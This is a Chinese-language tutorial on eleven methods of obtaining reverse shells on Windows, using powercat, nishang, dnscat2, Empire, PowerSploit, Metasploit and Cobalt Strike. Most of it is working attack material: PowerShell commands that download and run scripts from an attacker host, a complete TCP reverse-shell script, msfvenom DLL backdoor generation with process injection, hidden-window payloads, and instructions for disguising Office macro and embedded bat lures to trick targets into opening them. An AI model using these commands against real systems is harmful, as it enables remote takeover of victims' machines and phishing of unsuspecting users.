widnows下反弹shell的几种方法---持续跟新

作者:互联网

1.powercat反弹shell

powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat

首先攻击者开启监听

nc -lvp 6666

或者使用powercat监听

powercat -l -p 6666

接着在目标机上反弹cmd shell:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.159.134 -p 6666 -e cmd

2.nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

攻击者(192.168.159.134)开启监听:

nc -lvp 6666

目标机执行:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

或者将nishang下载到攻击者本地:

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

3.Reverse UDP shell

还是利用nishang攻击框架

攻击者(192.168.159.134)开启监听:

nc -lvup 53

目标机执行:

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

4.Reverse ICMP shell

需要利用

icmpsh_m.py (https://github.com/inquisb/icmpsh)和nishang

中的Invoke-PowerShellIcmp.ps1 来反弹ICMP shell。

首先攻击端下载icmpsh_m.py文件

icmpsh_m.py Usage:
python icmpsh_m.py [Attacker IP] [Victim IP]

攻击者(192.168.159.134)执行:

sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听

目标机(192.168.159.138)执行:

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

5.自定义powershell函数反弹shell

利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1

攻击者(192.168.159.134) 开启监听:

nc -lvp 6666

目标机执行:

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

或者保存为lltest_tcp.ps1文件

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/lltest_tcp.ps1');Invoke-lltestTcp

lltest_tcp.ps1 如下:

function Invoke-lltestTcp
{
$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

6.dnscat2 反弹DNS shell

dnscat2(https://github.com/iagox86/dnscat2 )是一个DNS隧道,旨在通过DNS协议创建加密的命令和控制(C&C)通道。dnscat2分为两部分:客户端和服务器。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)

利用dnscat2 和 dnscat2-powershell实现反弹DNS shell:

攻击者(Ubuntu 14.04 LTS 192.168.159.129)开启监听:

ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.159.129" --no-cache -e open
-e open 不使用加密连接,默认使用加密
ruby dnscat2.rb —help 查看帮助

目标机执行:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.159.129

成功反弹shell后,攻击者:

session -i 1 #进入到session 1
shell #执行之后会新生成一个session 需要通过session -i 2 切换
session -i 2

7.Empire 结合office反弹shell

Empire(https://github.com/EmpireProject/Empire ) 基于powershell的后渗透攻击框架,可利用office 宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell

利用office 宏反弹shell

攻击者(192.168.159.134)开启监听:

uselistener http
execute
back
usestager windows/macro http #生成payload
execute

生成/tmp/macro 攻击代码后,新建一个word 创建宏

点击“文件”-“宏”-“创建”,删除自带的脚本,复制进去/tmp/macro文件内容,并保存为“Word 97-2003文档(.doc)”或者“启用宏的Word 文档(.docm)”文件,当诱导目标打开,执行宏后,即可成功反弹shell:
说明:需要开启宏或者用户手动启用宏。开启宏设置:“文件”-“选项”-“信任中心”,选择“启用所有宏”

8.利用office OLE对象插入bat文件反弹shell

同样利用Empire,攻击者(192.168.159.134)开启监听 并生成bat文件payload:

listeners
usestager windows/launcher_bat http
execute

在word中“插入”-“对象”-“由文件创建” 处,插入launcher.bat文件,可更改文件名称和图标,进行伪装,当诱导目标点击launcher_lltest.xls文件,执行后,即可成功反弹shell:

9.PowerSploit DLL注入反弹shell

PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。

利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell

1)msfvenom生成dll后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll

说明:目标机64位 用x64 ; 32位的话用windows/meterpreter/reverse_tcp

2)metasploit 设置payload 开启监听

use exploit/multi/handler set PAYLOAD
windows/x64/meterpreter/reverse_tcp set LHOST 192.168.159.134 set
LPORT 6667 exploit

3)powershell 下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门
首先上传dll文件到目标机。然后Get-Process 选定一个进程,最后注入到该进程

目标机执行:

Get-Process #选择要注入的进程

IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

10.metasploit反弹shell

利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell

攻击者(192.168.159.134):

use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.159.134
set LPORT 6666
exploit

目标机执行:

powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring('http://192.168.159.134:8080/4iNSwaMtwWjm');

11.Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块,可通过bitsadmin、powershell、python、regsvr32等进行反弹shell,类似metasploit的web_delivery模块

1)开启监听:

首先要创建一个Listener, 点击 Cobalt Strike->Listeners ,然后点击Add便可创建Listeners

点击Cobalt Strike->Listeners

payload可选择windows/beacon_http/reverse_http

2)生成powershell payload:

点击Attack -> Web Drive-by -> Scripted Web Delivery

Type选择 powershell

3)目标机执行powershell payload:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.159.134:83/a'))"
